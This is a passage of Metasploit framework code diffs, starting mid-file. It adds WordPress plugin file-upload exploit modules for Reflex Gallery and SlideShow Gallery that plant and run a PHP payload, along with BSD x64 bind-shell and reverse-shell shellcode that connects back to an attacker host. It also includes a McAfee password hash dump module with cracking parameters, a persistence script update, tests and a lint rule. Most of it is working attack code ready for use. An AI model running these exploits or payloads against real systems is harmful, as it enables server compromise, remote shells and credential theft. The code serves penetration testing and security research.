'Targets' => [['Reflex Gallery 3.1.3', {}]],
'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('reflex-gallery', '3.1.4')
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
post_data = data.to_s
time = Time.new
year = time.year.to_s
month = "%02d" % time.month
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
'method' => 'POST',
'vars_get' => {
'Year' => "#{year}",
'Month' => "#{month}"
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if res
if res.code == 200 && res.body =~ /success|#{php_pagename}/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
)
end
end

View File

@ -0,0 +1,116 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
'Description' => %q{
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
vulnerability. We can upload arbitrary files to the upload folder, because
the plugin also uses it's own file upload mechanism instead of the wordpress
api it's possible to upload any file type.
},
'Author' =>
[
'Jesus Ramirez Pichardo', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5460'],
['EDB', '34681'],
['WPVDB', '7532']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 28 2014'))
register_options(
[
OptString.new('WP_USER', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end
def user
datastore['WP_USER']
end
def password
datastore['WP_PASSWORD']
end
def check
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
end
def exploit
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end
print_status("#{peer} - Trying to upload payload")
filename = "#{rand_text_alpha_lower(8)}.php"
data = Rex::MIME::Message.new
data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
post_data = data.to_s
print_status("#{peer} - Uploading payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'page' => 'slideshow-slides',
'method' => 'save'
},
'data' => post_data,
'cookie' => cookie
})
if res
if res.code == 200
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
)
end
end

View File

@ -71,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => '/robohelp/server',
'version' => '1.1',
'method' => 'POST',
'encode_params' => false,
'data' => file,
'headers' => {
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,

View File

@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST',
'data' => contents,
'ctype' => 'text/html',
'encode_params' => false,
'vars_get' => {
'computerName' => 'DesktopCentral',
'domainName' => 'webapps',

View File

@ -85,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_request_cgi({
'uri' => '/OvCgi/ovalarm.exe',
'method' => "GET",
'encode_params' => false,
'headers' => {
'Accept-Language' => sploit
},

View File

@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({
'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'),
'method' => 'GET',
'encode_params' => false,
'headers' => {
'Accept' => '*/*',
},

View File

@ -73,6 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
'headers' => {
'Content-Type' => 'application/octet-stream',
},
'encode_params' => false,
'vars_get' => {
'filename' => "../../webapps/#{app_base}.war"
}
@ -82,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
select(nil, nil, nil, 20)
if (res.code == 200)
if (res && res.code == 200)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Metasploit3
CachedSize = 136
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Shell Bind TCP',
'Description' => 'Bind an arbitrary command to an arbitrary port',
'Author' => [
'nemo <nemo[at]felinemenace.org>',
'joev'
],
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
Opt::LPORT(4444)
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
cmd = (datastore['CMD'] || '') << "\x00"
port = [datastore['LPORT'].to_i].pack('n')
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x61" + # add eax,0x61
"\x6A\x02" + # push byte 0x1
"\x5f" + # pop rdi
"\x6A\x01" + # push byte 0x1
"\x5e" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x68" + # add eax,0x68
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\xBE\x00\x02" + port + # mov esi,0xb3150200
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push 0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x6A" + # add eax,0x6a
"\x48\x31\xF6" + # xor rsi,rsi
"\x48\xFF\xC6" + # inc rsi
"\x49\x89\xFC" + # mov r12,rdi
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x1E" + # add eax,0x1e
"\x4C\x89\xE7" + # mov rdi,r12
"\x48\x89\xE6" + # mov rsi,rsp
"\x48\x89\xE2" + # mov rdx,rsp
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x3b" + # add eax,0x3b
call + # call CMD.len
cmd + # CMD
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end

View File

@ -0,0 +1,100 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Metasploit3
CachedSize = 108
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Shell Reverse TCP',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [
'nemo <nemo[at]felinemenace.org>',
'joev' # copy pasta monkey
],
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
Opt::LHOST,
Opt::LPORT(4444)
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
lhost = datastore['LHOST'] || '127.0.0.1'
# OptAddress allows either an IP or hostname, we only want IPv4
if not Rex::Socket.is_ipv4?(lhost)
raise ArgumentError, "LHOST must be in IPv4 format."
end
cmd = (datastore['CMD'] || '') << "\x00"
port = [datastore['LPORT'].to_i].pack('n')
ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x61" + # add eax,0x61
"\x6A\x02" + # push byte +0x2
"\x5F" + # pop rdi
"\x6A\x01" + # push byte +0x1
"\x5E" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x49\x89\xC4" + # mov r12,rax
"\x48\x89\xC7" + # mov rdi,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x62" + # add eax,0x62
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
ipaddr +
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push byte +0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\x4C\x89\xE7" + # mov rdi,r12
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x5A" + # add eax,0x5a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\x31\xc0" + # xor eax,eax
"\x83\xc0\x3B" + # add eax,0x3b
call + # call CMD.len
cmd + # CMD
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end

View File

@ -20,8 +20,11 @@ class Metasploit3 < Msf::Post
info,
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
'Description' => %q(
This module extracts the password hash from McAfee Virus Scan
Enterprise (VSE) used to lock down the user interface.
This module extracts the password hash from McAfee Virus Scan Enterprise (VSE)
used to lock down the user interface. Hashcat supports cracking this type of
hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt
(--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic
format is available for John the Ripper at the referenced URL.
),
'License' => MSF_LICENSE,
'Author' => [

View File

@ -72,13 +72,23 @@ end
# Function for Creating persistent script
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw)
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
def create_script(delay,altexe,raw,is_x64)
if is_x64
if altexe
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
end
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
end
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
@ -224,7 +234,7 @@ print_status("Running Persistance Script")
print_status("Resource file for cleanup created at #{@clean_up_rc}")
# Create and Upload Payload
raw = create_payload(payload_type, rhost, rport)
script = create_script(delay, altexe, raw)
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
script_on_target = write_script_to_target(target_dir, script)
# Start Multi/Handler

View File

@ -0,0 +1,113 @@
require 'msf/core/opt'
describe Msf::Opt do
subject(:opt) { described_class }
it { is_expected.to respond_to(:CHOST) }
it { is_expected.to respond_to(:CPORT) }
it { is_expected.to respond_to(:LHOST) }
it { is_expected.to respond_to(:LPORT) }
it { is_expected.to respond_to(:Proxies) }
it { is_expected.to respond_to(:RHOST) }
it { is_expected.to respond_to(:RPORT) }
context 'constants' do
context 'CHOST' do
subject { described_class::CHOST }
it { is_expected.to be_a(Msf::OptAddress) }
end
context 'CPORT' do
subject { described_class::CPORT }
it { is_expected.to be_a(Msf::OptPort) }
end
context 'LHOST' do
subject { described_class::LHOST }
it { is_expected.to be_a(Msf::OptAddress) }
end
context 'LPORT' do
subject { described_class::LPORT }
it { is_expected.to be_a(Msf::OptPort) }
end
context 'Proxies' do
subject { described_class::Proxies }
it { is_expected.to be_a(Msf::OptString) }
end
context 'RHOST' do
subject { described_class::RHOST }
it { is_expected.to be_a(Msf::OptAddress) }
end
context 'RPORT' do
subject { described_class::RPORT }
it { is_expected.to be_a(Msf::OptPort) }
end
end
context 'class methods' do
let(:default) { 'foo' }
context 'CHOST()' do
subject { described_class::CHOST(default) }
it { is_expected.to be_a(Msf::OptAddress) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'CPORT()' do
subject { described_class::CPORT(default) }
it { is_expected.to be_a(Msf::OptPort) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'LHOST()' do
subject { described_class::LHOST(default) }
it { is_expected.to be_a(Msf::OptAddress) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'LPORT()' do
subject { described_class::LPORT(default) }
it { is_expected.to be_a(Msf::OptPort) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'Proxies()' do
subject { described_class::Proxies(default) }
it { is_expected.to be_a(Msf::OptString) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'RHOST()' do
subject { described_class::RHOST(default) }
it { is_expected.to be_a(Msf::OptAddress) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
context 'RPORT()' do
subject { described_class::RPORT(default) }
it { is_expected.to be_a(Msf::OptPort) }
specify 'sets default' do
expect(subject.default).to eq(default)
end
end
end
end

View File

@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/steam/message'
describe Rex::Proto::Steam do
subject(:steam) do
mod = Module.new
mod.extend described_class
mod
end
describe '#encode_message' do
it 'properly encodes messages' do
message = steam.encode_message('T', 'Test')
expect(message).to eq("\xFF\xFF\xFF\xFF\x54Test")
end
end
describe '#decode_message' do
it 'does not decode overly short messages' do
expect(steam.decode_message('foo')).to eq(nil)
end
it 'does not decode unknown messages' do
expect(steam.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil)
end
it 'properly decodes valid messages' do
type, message = steam.decode_message("\xFF\xFF\xFF\xFF\x54Test")
expect(type).to eq(0x54)
expect(message).to eq('Test')
end
end
describe '#a2s_info_decode' do
it 'extracts a2s_info fields properly' do
expected_info = {
version: 17, name: "-=THE BATTLEGROUNDS *HARDCORE*=-", map: "aoc_battleground",
folder: "ageofchivalry", game_name: "Age of Chivalry", game_id: 17510,
players: "22/32", bots: 0, game_version: "1.0.0.6", type: "Dedicated",
environment: "Linux", visibility: "public", VAC: "secured"
}
actual_info = steam.a2s_info_decode(IO.read(File.join(File.dirname(__FILE__), 'steam_info.bin')))
expect(actual_info).to eq(expected_info)
end
end
end

Binary file not shown.

View File

@ -286,6 +286,26 @@ describe 'modules/payloads', :content do
reference_name: 'bsd/x64/exec'
end
context 'bsd/x64/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/bsd/x64/shell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'bsd/x64/shell_bind_tcp'
end
context 'bsd/x64/shell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/bsd/x64/shell_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'bsd/x64/shell_reverse_tcp'
end
context 'bsdi/x86/shell/bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [

View File

@ -544,6 +544,13 @@ class Msftidy
if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/
warn("Please use snake case on method names: #{ln}", idx)
end
if ln =~ /^\s*fail_with\(/
unless ln =~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/
error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx)
end
end
end
end